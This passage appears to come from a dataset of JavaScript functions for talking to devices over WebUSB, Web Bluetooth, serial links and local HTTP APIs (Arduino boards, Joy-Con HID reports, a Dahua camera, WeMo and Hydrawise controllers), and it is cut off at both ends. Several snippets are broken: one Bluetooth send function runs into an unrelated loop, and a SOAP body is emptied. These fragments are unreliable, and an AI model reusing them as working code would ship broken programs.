abyBlyncUsb30ReportBuffer);\\n\\n await device.close();\\n } catch (e) {\\n console.log(\\\"Exception: \\\" + e);\\n }\\n}\",\n \"respondToArduino(command){\\n BluetoothSerial.write(command)\\n .then((res) => {\\n console.log(res, command)\\n })\\n .catch((err) => console.log(err.message))\\n }\",\n \"function bleConsole(value){\\n const y = document.getElementById('serial')\\n /* check if the device is connected if true send file*/\\n if(isConnected){\\n /* need to read the value of the TX_char\\n * may need some kind of loop or trigger to watch if new data comes in????\\n * not sure what I want to implement for this yet....\\n */\\n // y.innerText = TX_characteristic.readValue(); TODO does not work\\n }else{\\n const x = document.getElementById('console');\\n x.style.display =\\\"none\\\";\\n alert(\\\"MicroTrynkit device not connected. Please pair it first.\\\");\\n }\\n\\n}\",\n \"enumerate_devices() {\\n const filters = {filters: [\\n {vendorId: 0x16D0}\\n ]};\\n\\n if (!this.usb) {\\n this.log(\\\"error: WebUSB not supported\\\\n\\\", \\\"red\\\");\\n return;\\n }\\n\\n this.usb.requestDevice(filters)\\n .then(dev => this.connect_device(dev))\\n .catch(error => {\\n if (String(error) === \\\"SecurityError: Must be handling a user gesture to show a permission request.\\\") {\\n this.log(\\\"Please click 'Connect Device' on the left toolbar.\\\", \\\"black\\\");\\n } else if (String(error) === \\\"NotFoundError: No device selected.\\\") {\\n this.log(\\\"Please select a WebUSB device.\\\", \\\"red\\\");\\n } else {\\n this.log(String(error));\\n this.log(\\\"error: unable to enumerate USB device list\\\");\\n }\\n });\\n }\",\n \"async function findUSBDevice(event) {\\n // STEP 1A: Auto-Select first port\\n if (event.type == 'AutoConnect' || event.type == 'Reconnect') {\\n // ports = await getPorts()\\n //STEP 1A: GetPorts - Automatic at initialization\\n // -Enumerate all attached devices\\n // -Check for permission based on vendorID & productID\\n devices = await navigator.usb.getDevices();\\n ports = devices.map((device) => new serial.Port(device)); //return port\\n\\n if (ports.length == 0) {\\n port.statustext_connect =\\n 'NO USB DEVICE automatically found on page load';\\n console.log(port.statustext_connect);\\n } else {\\n var statustext = '';\\n if (event.type == 'AutoConnect') {\\n statustext = 'AUTO-CONNECTED USB DEVICE ON PAGE LOAD!';\\n } else if (event.type == 'Reconnect') {\\n statustext = 'RECONNECTED USB DEVICE!';\\n }\\n port = ports[0];\\n try {\\n await port.connect();\\n } catch (error) {\\n console.log(error);\\n }\\n port.statustext_connect = statustext;\\n console.log(port.statustext_connect);\\n\\n //Hide manual connect button upon successful connect\\n document.querySelector('button[id=connectusb]').style.display = 'none';\\n }\\n }\\n\\n // STEP 1B: User connects to Port\\n if (\\n event.type == 'pointerup' ||\\n event.type == 'touchend' ||\\n event.type == 'mouseup'\\n ) {\\n event.preventDefault(); //prevents additional downstream call of click listener\\n try {\\n //STEP 1B: RequestPorts - User based\\n // -Get device list based on Arduino filter\\n // -Look for user activation to select device\\n const filters = [\\n { vendorId: 0x2341, productId: 0x8036 },\\n { vendorId: 0x2341, productId: 0x8037 },\\n { vendorId: 0x2341, productId: 0x804d },\\n { vendorId: 0x2341, productId: 0x804e },\\n { vendorId: 0x2341, productId: 0x804f },\\n { vendorId: 0x2341, productId: 0x8050 },\\n ];\\n\\n device = await navigator.usb.requestDevice({ filters: filters });\\n port = new serial.Port(device); //return port\\n\\n await port.connect();\\n\\n port.statustext_connect = 'USB DEVICE CONNECTED BY USER ACTION!';\\n console.log(port.statustext_connect);\\n\\n //Hide manual connect button upon successful connect\\n document.querySelector('button[id=connectusb]').style.display = 'none';\\n } catch (error) {\\n console.log(error);\\n }\\n waitforClick.next(1);\\n }\\n} //FUNCTION findUSBDevice\",\n \"function connectviaBT() {\\r\\n\\t// initialize bluetooth and setup an event listener\\r\\n\\t//todo: refactor name mWebSocket_InitAsync\\r\\n\\tdocument.getElementById( \\\"idStatus\\\").innerHTML=\\\"Connecting via BT\\\";\\r\\n\\t//returns data from BT as Uint8Array [1..20]\\r\\n\\t//Todo: write what this does in a comment is this the Ternary Operator? (variable = (condition) ? expressionTrue : expressionFalse)\\r\\n\\treturn (bluetoothDeviceDetected ? Promise.resolve() : getDeviceInfo() && isWebBluetoothEnabled())\\r\\n\\t.then(connectGATT) //todo:@FC please explain what is happening here\\r\\n\\t.then(_ => {\\r\\n\\t\\tconsole.log('Evaluating signal of interest...')\\r\\n\\t\\treturn gattCharacteristic.readValue()\\t//receiving data from BT - Uint8Array [1..20]\\r\\n\\t})\\r\\n\\t.catch(error => {\\r\\n\\t\\tconsole.log('Waiting to start reading: ' + error)\\r\\n\\t})\\r\\n}\",\n \"function getdevice (dev, callback)\\n{\\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\\n {\\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-13';\\n webphone_api.plhandler.GetDevice(dev, callback);\\n }\\n}\",\n \"function controlHSDevice(device,action,value,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/ + action + "&id=' + device + '&value=' + value,\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){console.log(\\\"Got error: \\\" + e.message); });\\n }); \\n}\",\n \"function controlHSDevice(device,action,value,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/ + action + "&id=' + device + '&value=' + value,\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){log(\\\"Got error: \\\" + e.message); });\\n }); \\n}\",\n \"function getWeMoData() {\\n var wemoHeaders = { \\n \\\"Content-Type\\\": \\\"application/json\\\", \\n \\\"SOAPACTION\\\": \\\"urn:Belkin:service:basicevent:1#GetBinaryState\\\",\\n };\\n var wemoState = '>' + \\n '' +\\n \\\"\\\" + \\n '' + \\n \\\"1\\\" + \\n \\\"\\\" + \\n \\\"\\\" + \\n \\\"\\\"\\n var wemoOptions =\\n {\\n \\\"method\\\" : \\\"post\\\",\\n \\\"headers\\\" : wemoHeaders,\\n \\\"muteHttpExceptions\\\": true,\\n \\\"payload\\\" : wemoState,\\n };\\n\\n var ddnsDevices = [ \\\"WemoXmas\\\", \\\"WemoGazebo\\\" ];\\n props.setProperty( \\\"weNum\\\", ddnsDevices.length ); \\n \\n for (var i = 0; i < ddnsDevices.length; i++) {\\n var response = UrlFetchApp.fetch(getSecureVal(ddnsDevices[i], \\\"URL\\\") + \\\"/upnp/control/basicevent1\\\").getContentText();\\n Logger.log(response);\\n var wemoJson = JSON.parse(response);\\n state = wemoJSON.BinaryState;\\n props.setProperties( \\\"we\\\" + String(i), state ); \\n /* send to ATT M2X*/\\n var streams = [ \\\"we0\\\", \\\"we1\\\", \\\"we2\\\", \\\"we3\\\" ];\\n sendDataATT(ddnsDevices[i], streams);\\n logProps(streams);\\n }\\n \\n}\",\n \"async send_cmd(cmd, options={}) {\\n const data = options.data;\\n const textDecode = (options.textDecode !== undefined ? !!options.textDecode : true);\\n const sleepOverride = (parseInt(options.sleepOverride) || 10);\\n const cmdIndex = (parseInt(options.cmdIndex) || 0);\\n\\n if (!this.device || !this.device.opened) {\\n this.log(\\\"error: device not connected.\\\\n\\\", \\\"red\\\");\\n this.log(\\\"Use button to connect to a supported programmer.\\\\n\\\", \\\"red\\\");\\n return Promise.reject(\\\"error: device not opened\\\");\\n }\\n\\n const opts = {\\n requestType: \\\"vendor\\\",\\n recipient: \\\"device\\\",\\n request: 250,\\n value: this.CMD_LUT[cmd],\\n index: cmdIndex\\n };\\n\\n // transfer data out\\n const res = data\\n ? await this.device.controlTransferOut(opts, data)\\n : await this.device.controlTransferOut(opts);\\n\\n // sleep for a bit to give the USB device some processing time leeway\\n await (() => new Promise(resolve => setTimeout(resolve, sleepOverride)))();\\n\\n return this.device.controlTransferIn({\\n requestType: \\\"vendor\\\",\\n recipient: \\\"device\\\",\\n request: 249,\\n value: 0x70,\\n index: 0x81\\n }, 64).then(result => {\\n return textDecode\\n ? (new TextDecoder()).decode(result.data)\\n : result.data.buffer;\\n });\\n }\",\n \"async function requestBLEDevice(){\\n let result = Promise.resolve()\\n if (ble.connected == false){\\n console.log('Requesting ble device...')\\n wdm('Requesting bluetooth device list')\\n // let options = {filters: [ {name: ble.name}, {services:[ ble.customserviceUUID ]} ]}\\n let options = {filters: [ {namePrefix: ble.namePrefix}, {services:[ ble.customserviceUUID ]} ]}\\n\\n try{\\n device = await navigator.bluetooth.requestDevice(options)\\n console.log(\\\"found a device\\\",device)\\n console.log(device.name)\\n console.log(device.uuids)\\n var textstr = \\\"found a device name: \\\" + device.name + \\\"
    \\\" + \\\"id: \\\" + device.id\\n ble.statustext = textstr\\n \\n ble.device=device\\n ble.device.addEventListener('gattserverdisconnected',onDisconnectedBLE)\\n }\\n catch(error){\\n if (ble.connected == false){\\n var textstr = 'Still waiting for user to select device'\\n console.log(textstr)\\n ble.statustext = ble.statustext + \\\"
    \\\" + textstr\\n \\n return error\\n }\\n }\\n }\\n return result\\n}\",\n \"getHardware (cb) {\\n\\t\\tvar self = this\\n\\n\\t\\tif (!this.started)\\n\\t\\t{\\n\\t\\t\\treturn cb('Connection to MD-DM not started')\\n\\t\\t}\\n\\n\\t\\tif (!this.device.connected)\\n\\t\\t{\\n\\t\\t\\treturn cb('Not currently connected to MD-DM')\\n\\t\\t}\\n\\n\\t\\tthis._connection.exec('SHOWHW', function (err, response) {\\n\\t\\t\\tself._logger.verbose(`SHOWHW response: ${response}`)\\n\\n\\t\\t\\ttry\\n\\t\\t\\t{\\n\\t\\t\\t\\tcb(err, TelnetOutputParser.parseHardware(response))\\n\\t\\t\\t}\\n\\t\\t\\tcatch (e)\\n\\t\\t\\t{\\n\\t\\t\\t\\tself._logger.warn(`Failed to parse response: ${response}`)\\n\\t\\t\\t\\tcb(`Failed to parse response: ${e} / ${e.stack}`)\\n\\t\\t\\t}\\n\\t\\t})\\n\\t}\",\n \"function request(value) {\\n\\t// Init variables\\n\\tlet src;\\n\\tlet cmd;\\n\\n\\tswitch (value) {\\n\\t\\tcase 'motor-values' : {\\n\\t\\t\\tsrc = 'DIA';\\n\\t\\t\\tcmd = [ 0xB8, 0x12, 0xF1, 0x03, 0x22, 0x40, 0x00 ];\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\n\\t\\tdefault : return;\\n\\t}\\n\\n\\tbus.data.send({\\n\\t\\tsrc : src,\\n\\t\\tdst : 'DME',\\n\\t\\tmsg : cmd,\\n\\t});\\n}\",\n \"function OpenAVR(device)\\n{\\n if (device.deviceDescriptor.idVendor != kAtmel ||\\n device.deviceDescriptor.idProduct != kEVK1101)\\n {\\n return; // (not our device)\\n }\\n\\n try {\\n device.open();\\n device.interfaces[0].claim();\\n // find first unused input >= 2\\n for (var i=2; ; ++i) {\\n if (i < avrs.length && avrs[i]) continue;\\n avrs[i] = device;\\n device.avrNum = i;\\n var endIn = device.interfaces[0].endpoints[0];\\n var endOut = device.interfaces[0].endpoints[1];\\n endIn.avrNum = i;\\n endOut.avrNum = i;\\n endIn.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\\n endOut.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\\n endIn.timeout = 1000;\\n endOut.timeout = 1000;\\n // (must install handlers before we start polling)\\n endIn.on('data', HandleData);\\n endIn.on('error', HandleError);\\n endOut.on('error', HandleError);\\n endIn.startPoll(4, 256);\\n\\n // add member function to send command to AVR\\n device.SendCmd = SendCmd;\\n // send initial command to get AVR serial number and software version\\n device.SendCmd(\\\"a.ser;b.ver\\\\n\\\");\\n break;\\n }\\n }\\n catch (err) {\\n Log('Error opening AVR device');\\n }\\n}\",\n \"writeLoginControl(data) {\\n var arrData = [17,16,0,1,1,];\\n const data_send = this.toUTF8Array(data);\\n console.log('writeLoginControl_1',data_send);\\n for (var i = 0; i < data_send.length; i++) {\\n arrData.push(data_send[i]);\\n }\\n arrData[2] = arrData.length + 1;\\n arrData[arrData.length] = this.calCheckSum(arrData);\\n\\n console.log('writeLoginControl_2',arrData, this.byteToHexString(arrData));\\n\\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\\n .then(() => {\\n console.log('--writeLoginControl successfully: ',arrData);\\n })\\n .catch((error) => {\\n console.log('--writeLoginControl failed ',error);\\n });\\n }\",\n \"readFromDevice() {\\n this.device.transferIn(5, 64).then(result => {\\n const decoder = new TextDecoder();\\n this.rstring += decoder.decode(result.data);\\n // do a quick JSON smoketest (should do better with decoder/streaming)\\n const startIdx = this.rstring.indexOf('{');\\n if(startIdx > 0) this.rstring = this.rstring.substring(startIdx);\\n const endIdx = this.rstring.indexOf('}');\\n if(endIdx > -1) {\\n const parseStr = this.rstring.substring(0, endIdx+1);\\n this.rstring = this.rstring.substring(endIdx+1);\\n try {\\n const msg = JSON.parse(parseStr);\\n this._handleMessage(msg);\\n // this.dispatchEvent(new CustomEvent('ek-event', {detail:msg}), {bubbles: true});\\n } catch(e) {\\n console.log(\\\"NOT JSON:\\\",parseStr);\\n }\\n this.rstring = \\\"\\\";\\n }\\n this.readFromDevice();\\n })\\n .catch(error => { \\n console.log(error);\\n this.emitMessage(this.device.serialNumber, \\\"\\\");\\n this.emitDisconnected(this.device.serialNumber);\\n this.device = null;\\n this.rstring = \\\"\\\";\\n });\\n }\",\n \"async getBatteryLevel() {\\n const outputReportID = 0x01;\\n const subCommand = [0x50];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subCommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n\\n return new Promise((resolve) => {\\n const onBatteryLevel = ({ detail: batteryLevel }) => {\\n this.removeEventListener('batterylevel', onBatteryLevel);\\n delete batteryLevel._raw;\\n delete batteryLevel._hex;\\n resolve(batteryLevel);\\n };\\n this.addEventListener('batterylevel', onBatteryLevel);\\n });\\n }\",\n \"async getDeviceDetails() {\\n return this.digestClient\\n .fetch(\\n `http://${this.dahua_host}/cgi-bin/magicBox.cgi?action=getSystemInfo`\\n )\\n .then((r) => r.text())\\n .then((text) => {\\n const deviceDetails = text\\n .trim()\\n .split('\\\\n')\\n .reduce((obj, str) => {\\n const [key, val] = str.split('=');\\n obj[key] = val.trim();\\n return obj;\\n }, {});\\n return deviceDetails;\\n });\\n }\",\n \"async function readComms() {\\n await transferByte(0x99);\\n let readLen = await transferByte(0x00);\\n if (readLen) {\\n let rxBuff = Buffer.alloc(readLen, 0, 'binary');\\n for(let ri = 0; ri < readLen; ri++) {\\n let rx = await transferByte(0x00);\\n rxBuff[ri] = rx;\\n }\\n return rxBuff;\\n }\\n return null;\\n}\",\n \"get_card_id_ex() {\\n return new Promise((resolve, reject) => {\\n\\n let on_frame = (frame) => {\\n // remove_listener();//remove to resever for next time \\n switch (frame.type) {\\n case CODE.ERR_HEADER: /* No card */\\n\\n let err_code = frame.buffer[1];\\n if (err_code == CODE.NO_CARD) {\\n resolve({ is_available: false, uid_len: 0, uid: '' });\\n } else {\\n reject(frame);\\n }\\n break;\\n case CODE.RESPONSE_HEADER:/*have card */\\n let uid_len = frame.buffer[5];\\n let resp = {\\n is_available: true\\n };\\n if (this.buffer.length >= (CODE.PACKET_LENGTH + uid_len)) {\\n let uid_buffer = new Buffer.alloc(uid_len);\\n frame.buffer.copy(uid_buffer, 0, 7, 7 + uid_len);\\n resp.uid_len = uid_len;\\n resp.uid = util.to_hex_string(uid_buffer);\\n resolve(resp);\\n }\\n else {\\n reject('invalid resp');\\n }\\n break;\\n default:\\n reject('invalid resp');\\n break;\\n }\\n };\\n this.once('frame', on_frame);//onetime fire\\n\\n //GET_CARD_ID_EX (0x2C) : Use this function for cards with UID longer than 4 byte\\n this.send_command(\\\"55 2C AA 00 00 00 DA\\\");\\n });\\n }\",\n \"function bleSend() {\\n /* check if the device is connected if true send file*/\\n let encoder = new TextEncoder('utf-8');\\n\\n if(isConnected){\\n /* send an erase command so that the file gets started fresh */\\n RX_characteristic.writeValue(encoder.encode(\\\"erase\\\"));\\n for(let a = 0; a<3000; a++){\\n console.log(\\\"\\\")\\n }\\n /* get the contents of the editor that is in use */\\n let editorContents = editor.getValue();\\n /* send the contents to the device */\\n //split the editor contents into newlines.\\n temp = editorContents.split(/\\\\n/);\\n for(let i=0; i> (8*(1-j)));\\n }\\n */\\n //CMD\\n tx_data[0] = 0;\\n //index\\n tx_data[1] = i & 0xff;\\n\\n\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[2+j] = 0xff & ((g_rawcode_length/2) >> (8*(1-j)));\\n }\\n\\n //freq(0:38k, 1;40k)\\n tx_data[4] = 0;\\n //Format(0:unknown, 1:NEC, 2:SONY...)\\n tx_data[5] = 1;\\n\\n //Number of Frame\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[6+j] = 0xff & (g_rawcode_length >> (8*(1-j)));\\n }\\n\\n //Data0\\n for(var j = 0; j < 4; j = j + 1){\\n tx_data[8+j] = 0xff & ((g_rawcode[i*2] / g_ir_margin) >> (8*(3-j)));\\n }\\n\\n //Data1\\n for(var j = 0; j < 4; j = j + 1){\\n tx_data[12+j] = 0xff & ((g_rawcode[i*2 + 1] / g_ir_margin) >> (8*(3-j)));\\n }\\n\\n //Transmit\\n window.cmdCharacteristic.writeValue(new Uint8Array(tx_data)).catch(error => {\\n uiDebugMessage(\\\"liffWriteLoadMatrix\\\");\\n uiStatusError(makeErrorMsg(error), false);\\n });\\n }\\n }else{\\n window.cmdCharacteristic.writeValue(new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])).catch(error => {\\n uiDebugMessage(\\\"liffWriteLoadMatrix - Req\\\");\\n uiStatusError(makeErrorMsg(error), false);\\n });\\n }\\n}\",\n \"start() {\\n let constraints = {\\n video: {\\n facingMode: 'user',\\n height: { min: 360, ideal: 720, max: 1080 },\\n deviceId: localStorage.getItem('deviceId')\\n },\\n audio: true\\n };\\n\\n // navigator.mediaDevices.enumerateDevices()\\n // .then(dd=> { \\n // dd.map(device => {\\n // if (device.kind == 'videoinput' && device.label == DEVICE) {\\n // constraints.video.deviceId = device.deviceId;\\n // }\\n // })\\n // }) \\n\\n // navigator.usb.requestDevice({filters:[]})\\n // .then(selectedDevice => {\\n // device = selectedDevice;\\n // console.log('selectedDevice', device, selectedDevice);\\n // return device.open(); // Begin a session.\\n // })\\n // .then(() => {\\n // console.log('daada', device.selectConfiguration);\\n // device.selectConfiguration(1)}) // Select configuration #1 for the device.\\n // .then(() => {\\n // console.log('daada', device.claimInterface);\\n // device.claimInterface(0)}) // Request exclusive control over interface #2.\\n // .then(() => {\\n // console.log('daada', device.controlTransferOut);\\n // device.controlTransferOut({\\n // requestType: 'class',\\n // recipient: 'interface',\\n // request: 0x22,\\n // value: 0x01,\\n // index: 0x02})}) // Ready to receive data\\n // .then(() => {\\n // console.log('dedde', device);\\n // device.transferIn(5, 64)\\n // }) // Waiting for 64 bytes of data from endpoint #5.\\n // .then(result => {\\n // let decoder = new TextDecoder();\\n // console.log('decoder', decoder, result);\\n // console.log('Received: ' + decoder.decode(result.data));\\n // })\\n // .catch(error => { console.log('this.error', error); });\\n console.log('constraints', constraints)\\n\\n setTimeout(() => {\\n // constraints.video.deviceId = localStorage.getItem('deviceId');\\n navigator.mediaDevices\\n .getUserMedia(constraints)\\n .then((stream) => {\\n this.stream = stream;\\n this.emit('stream', stream);\\n })\\n .catch((err) => {\\n if (err instanceof DOMException) {\\n alert('Cannot open webcam and/or microphone');\\n } else {\\n console.log(err);\\n }\\n });\\n }, 3000)\\n\\n return this;\\n }\",\n \"function _htob (hex) {\\n if (hex) {\\n if (typeof hex !== 'string') {\\n throw new TypeError('Expected input to be a string')\\n }\\n\\n if ((hex.length % 2) !== 0) {\\n throw new RangeError('Expected string to be an even number of characters')\\n }\\n\\n var view = new Uint8Array(hex.length / 2)\\n\\n for (var i = 0; i < hex.length; i += 2) {\\n view[i / 2] = parseInt(hex.substring(i, i + 2), 16)\\n }\\n\\n return view\\n } else {\\n return null;\\n }\\n}\",\n \"async enableSimpleHIDMode() {\\n const outputReportID = 0x01;\\n const subcommand = [0x03, 0x3f];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subcommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n }\",\n \"function getDeviceCapability()\\r\\n{\\r\\n\\txrxDeviceConfigGetDeviceCapabilities( \\\"http://127.0.0.1\\\", getDeviceCapabilities_success, getDeviceCapatilities_failure, null);\\r\\n}\",\n \"getStatus() {\\n return new Promise((resolve, reject) => {\\n // send hex code for getting the status of power,rgb,warm\\n send(this.ip, hexToArray(\\\"81:8a:8b:96\\\"), (data, err) => {\\n if (err)\\n reject(err)\\n else {\\n if(data) {\\n const status = [];\\n for(let i = 0; i < data.length; i+=2){\\n status.push(data[i].concat(data[i+1]))\\n }\\n const power = status[2] === \\\"23\\\" ? \\\"on\\\" : \\\"off\\\"\\n \\n const rgb = status.slice(6,9).map((el) => parseInt(el, 16));\\n \\n const warm = parseInt(status[9], 16)\\n const out = {\\\"power\\\" : power, \\\"rgb\\\" : rgb, \\\"warm\\\" : warm}\\n resolve(out)\\n }\\n }\\n });\\n })\\n }\",\n \"getDeviceID(): Promise {\\n return HyperTrack.getDeviceID();\\n }\",\n \"function send2LMviaBT(value) { //value is an arry of bytes\\r\\n //let encoder = new TextEncoder('utf-8');\\r\\n mDebugMsg1(1,'Setting Characteristic User Description...');\\r\\n gattCharacteristic.writeValue(value)\\r\\n .then(_ => {\\r\\n \\t mDebugMsg1(1,'> Characteristic User Description changed to: ' + value);\\r\\n })\\r\\n .catch(error => {\\r\\n\\t\\t//todo9: userfriendly message\\r\\n \\t mDebugMsg1(1,'Argh! ' + error);\\r\\n });\\r\\n\\r\\n\\r\\n }\",\n \"function arduinoTest() {\\n return request;\\n}\",\n \"function read(){\\n\\t\\t\\t\\n\\t\\t\\tvar deferred = $q.defer();\\n\\t\\t\\tserial.read(\\n\\t\\t\\t\\tfunction success(data){\\n\\t\\t\\t\\t\\tvar byteArray = new Uint8Array(data);\\n\\t\\t\\t\\t\\tdeferred.resolve( UtilsService.byteArrayToString(byteArray) );\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\tfunction error(){\\n\\t\\t\\t\\t\\tdeferred.reject(new Error());\\n\\t\\t\\t\\t}\\n\\t\\t\\t);\\n\\t\\t\\t\\n\\t\\t\\treturn deferred.promise;\\n\\t\\t\\t\\n\\t\\t}\",\n \"function getCCDA(url,uid,callback){\\n var options = {\\n host: api_domain,\\n path: url+'?api_key='+api_key+'&uid='+uid,\\n port: api_port\\n}\\n//Get the bindaas api\\nvar request = http.request(options, function (res) {\\n var data = '';\\n res.on('data', function (chunk) {\\n data += chunk;\\n });\\n res.on('end', function () {\\n callback(data);\\n });\\n });\\n request.on('error', function (e) {\\n console.log(e.message);\\n console.log(\\\"please check that your bindaas API is succesfully set up\\\");\\n });\\n request.end();\\n}\",\n \"readHydrawiseStatus(){\\n const cmd = hydrawise_url_status + \\\"api_key=\\\" + this.config.hydrawise_apikey;\\n\\n // execute only if apikey is defined in config page\\n if (this.config.hydrawise_apikey!=undefined){\\n this.log.info(\\\"send: \\\"+cmd);\\n //request(cmd, function (error, response, body){\\n request(cmd, (error, response, body) => {\\n\\n if (!error && response.statusCode == 200) {\\n // parse JSON response from Hydrawise controller\\n var obj = JSON.parse(body);\\n // read device config\\n hc6.nextpoll = parseInt(obj.nextpoll);\\n hc6.time = parseInt(obj.time);\\n hc6.message = obj.message;\\n this.log.info(\\\"nextpoll=\\\"+hc6.nextpoll+\\\" time=\\\"+hc6.time+\\\" message=\\\"+hc6.message);\\n \\n // read all configured sensors\\n for (let i=0; i<=1; i++){\\n // if sensor is configured\\n if (obj.sensors[i]!=null){\\n hc6.sensors[i].input = parseInt(obj.sensors[i].input);\\n hc6.sensors[i].type = parseInt(obj.sensors[i].type);\\n hc6.sensors[i].mode = parseInt(obj.sensors[i].mode);\\n hc6.sensors[i].timer = parseInt(obj.sensors[i].timer);\\n hc6.sensors[i].offtimer = parseInt(obj.sensors[i].offtimer);\\n // read all related relays\\n for (let j=0; j<=5; j++){\\n // if relay is configured\\n if (obj.sensors[i].relays[j]!=null){\\n hc6.sensors[i].relays[j]=obj.sensors[i].relays[j].id\\n }\\n };\\n }\\n this.log.info(\\\"sensor\\\"+i+\\\": input=\\\"+hc6.sensors[i].input+\\\" type=\\\"+hc6.sensors[i].type+\\n \\\" mode=\\\"+hc6.sensors[i].mode+ \\\" timer=\\\"+hc6.sensors[i].timer+\\\" offtimer=\\\"+hc6.sensors[i].offtimer+\\n \\\" relay0=\\\"+hc6.sensors[i].relays[0]+\\\" relay1=\\\"+hc6.sensors[i].relays[1]+\\\" relay2=\\\"+hc6.sensors[i].relays[2]+\\n \\\" relay3=\\\"+hc6.sensors[i].relays[3]+\\\" relay4=\\\"+hc6.sensors[i].relays[4]+\\\" relay5=\\\"+hc6.sensors[i].relays[5]);\\n }\\n\\n // read all configured relays\\n for (let i=0; i<=5; i++){\\n if (obj.relays[i]!=null){\\n hc6.relays[i].relay_id = parseInt(obj.relays[i].relay_id);\\n hc6.relays[i].name = obj.relays[i].name;\\n hc6.relays[i].relay = parseInt(obj.relays[i].relay);\\n hc6.relays[i].type = parseInt(obj.relays[i].type);\\n hc6.relays[i].time = parseInt(obj.relays[i].time);\\n hc6.relays[i].run = parseInt(obj.relays[i].run);\\n hc6.relays[i].period = parseInt(obj.relays[i].period);\\n hc6.relays[i].timestr = obj.relays[i].timestr;\\n }\\n else{\\n hc6.relays[i].relay_id = 0;\\n hc6.relays[i].name = \\\"\\\";\\n hc6.relays[i].relay = 0;\\n hc6.relays[i].type = 0;\\n hc6.relays[i].time = 0;\\n hc6.relays[i].run = 0;\\n hc6.relays[i].period = 0;\\n hc6.relays[i].timestr = \\\"\\\";\\n }\\n this.log.info(\\\"relay\\\"+i+\\\": relay_id=\\\"+hc6.relays[i].relay_id+\\\" name=\\\"+hc6.relays[i].name+\\n \\\" relay=\\\"+hc6.relays[i].relay+\\\" type=\\\"+hc6.relays[i].type+\\\" time=\\\"+hc6.relays[i].time+\\n \\\" run=\\\"+hc6.relays[i].run+\\\" period=\\\"+hc6.relays[i].period+\\\" timestr=\\\"+hc6.relays[i].timestr);\\n }\\n }\\n })\\n }\\n }\",\n \"function getBufferRequest(opt, callback){\\n\\n\\topt.host = \\\"cloud.cadexchanger.com\\\";\\n\\topt.protocol = \\\"https:\\\";\\n\\topt.path = \\\"/api/v1\\\" + opt.path;\\n\\n\\tconst tmpFile = fs.createWriteStream(\\\"tmp.file\\\");\\n\\tconst req = https.get(opt, (res) => {\\n\\t\\tres.pipe(tmpFile);\\n\\n\\t\\ttmpFile.on('finish', () => {\\n\\t\\t\\t//tmpFile.close();\\n\\t\\t\\tcallback(fs.readFileSync(\\\"tmp.file\\\"));\\n\\t\\t\\tfs.unlink(\\\"tmp.file\\\", ()=>{});\\n\\t\\t});\\n\\t});\\n}\",\n \"function readSerialData(data) {\\n console.log(data.toString());\\n sendit({method: 'data', data: data.toString()});\\n}\",\n \"function getDevicePromise(device) {\\n return fetch(\\n `https://www-bd.fnal.gov/cgi-bin/acl.pl?acl=~kissel/acl/mshow.acl+${device}+/device_index`\\n )\\n .then(res => res.text())\\n .then(text => {\\n return text;\\n })\\n .then(parseDeviceIndex);\\n}\",\n \"function decode()\\n{\\n\\tget_ui_vals();\\n\\n\\n\\tif (typeof hex_opt === 'undefined')\\n\\t{\\n\\t\\thex_opt = 0;\\n\\t}\\n\\n\\n\\n\\tif (rate == 0)\\n\\t{\\n\\t\\treturn;\\n\\t}\\n\\n\\tspb = sample_rate / rate; \\t\\t// Calculate the number of Samples Per Bit.\\n\\n\\ttry\\n\\t{\\n\\t\\tspb_hs = sample_rate / high_rate;\\n\\t}\\n\\tcatch(e)\\n\\t{\\n\\t\\tspb_hs = sample_rate / 2000000;\\n\\t}\\n\\n\\tm = spb / 10; \\t\\t\\t\\t\\t// Margin = 1 tenth of a bit time (expresed in number of samples)\\n\\tm_hs = spb_hs / 10;\\n\\n\\tvar t = trs_get_first(ch);\\n\\n\\tchannel_color = get_ch_light_color(ch);\\n\\n\\twhile (trs_is_not_last(ch) && (stop == false))\\n\\t{\\n\\t if (abort_requested() == true)\\t\\t// Allow the user to abort this script\\n\\t\\t{\\n\\t\\t\\treturn false;\\n\\t\\t}\\n\\n\\t\\tswitch (state)\\n\\t\\t{\\n\\t\\t\\tcase GET_SOF:\\n\\n\\t\\t\\t\\twhile ((t.val != 0) && trs_is_not_last(ch))\\t\\t// Search for SOF\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tt = trs_get_next(ch);\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\ts = t.sample + (spb * 0.5); \\t\\t// Position our reader on the middle of first bit\\n\\n\\t\\t\\t\\tbit_sampler_ini(ch,spb /2, spb); \\t// Initialize the bit sampler (to be able tu use \\\"bit_sampler_next()\\\")\\n\\t\\t\\t\\tbit_sampler_next(ch); \\t\\t\\t\\t// Read and skip the start bit\\n\\n\\t\\t\\t\\tdec_item_new(ch,t.sample,t.sample + spb - m); \\t// Add the 